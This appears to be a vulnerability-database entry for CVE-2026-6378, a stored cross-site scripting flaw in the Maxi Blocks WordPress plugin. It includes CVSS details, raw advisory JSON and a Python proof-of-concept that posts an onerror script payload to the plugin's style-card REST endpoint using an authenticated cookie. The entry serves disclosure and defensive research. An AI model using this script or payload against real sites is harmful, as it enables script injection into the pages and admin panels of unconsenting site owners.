Security Vulnerability Report
中文
CVE-2026-6378 CVSS 6.4 MEDIUM

CVE-2026-6378

Published: 2026-05-02 04:16:12
Last Modified: 2026-05-05 19:17:23

Description

The Maxi Blocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `/wp-json/maxi-blocks/v1.0/style-card` REST API endpoint in all versions up to, and including, 2.1.9 due to insufficient input sanitization and output escaping of the `sc_styles` parameter. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts that execute on every page where the plugin's style card styles are loaded, including across the entire WordPress admin panel.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Maxi Blocks <= 2.1.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Exploit Title: WordPress Maxi Blocks < 2.1.9 - Stored XSS # Description: Inject malicious script via sc_styles parameter target_url = "http://target-site.com/wp-json/maxi-blocks/v1.0/style-card" # Attacker needs a valid authenticated cookie (Author level or higher) cookies = { "wordpress_logged_in_xxxxx": "your_cookie_here" } # Malicious payload to be injected payload_data = { "sc_styles": "<img src=x onerror=alert('XSS')>", "id": "1" } headers = { "Content-Type": "application/json" } try: response = requests.post(target_url, json=payload_data, cookies=cookies, headers=headers) if response.status_code == 200: print("[+] Payload injected successfully!") print("[+] Check the admin panel or pages using the style card to verify execution.") else: print(f"[-] Failed. Status code: {response.status_code}") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6378", "sourceIdentifier": "[email protected]", "published": "2026-05-02T04:16:11.990", "lastModified": "2026-05-05T19:17:22.860", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Maxi Blocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `/wp-json/maxi-blocks/v1.0/style-card` REST API endpoint in all versions up to, and including, 2.1.9 due to insufficient input sanitization and output escaping of the `sc_styles` parameter. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts that execute on every page where the plugin's style card styles are loaded, including across the entire WordPress admin panel."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/maxi-blocks/maxi-blocks/pull/6250/changes/8db3267df9858f684e420566227ed2ea7954d9a9", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/maxi-blocks/tags/2.1.10/core/class-maxi-api.php#L1010", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/maxi-blocks/tags/2.1.10/core/class-maxi-api.php#L1021", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/maxi-blocks/tags/2.1.10/core/class-maxi-api.php#L979", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/maxi-blocks/tags/2.1.10/core/class-maxi-api.php#L981", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/maxi-blocks/tags/2.1.10/core/class-maxi-api.php#L987", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/maxi-blocks/tags/2.1.9/core/class-maxi-api.php#L221", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/maxi-blocks/tags/2.1.9/core/class-maxi-api.php#L979", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/maxi-blocks/tags/2.1.9/core/class-maxi-style-cards.php#L197", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/22f05048-df38-4f26-82a3-53caac995283?source=cve", "source": "[email protected]"}]}}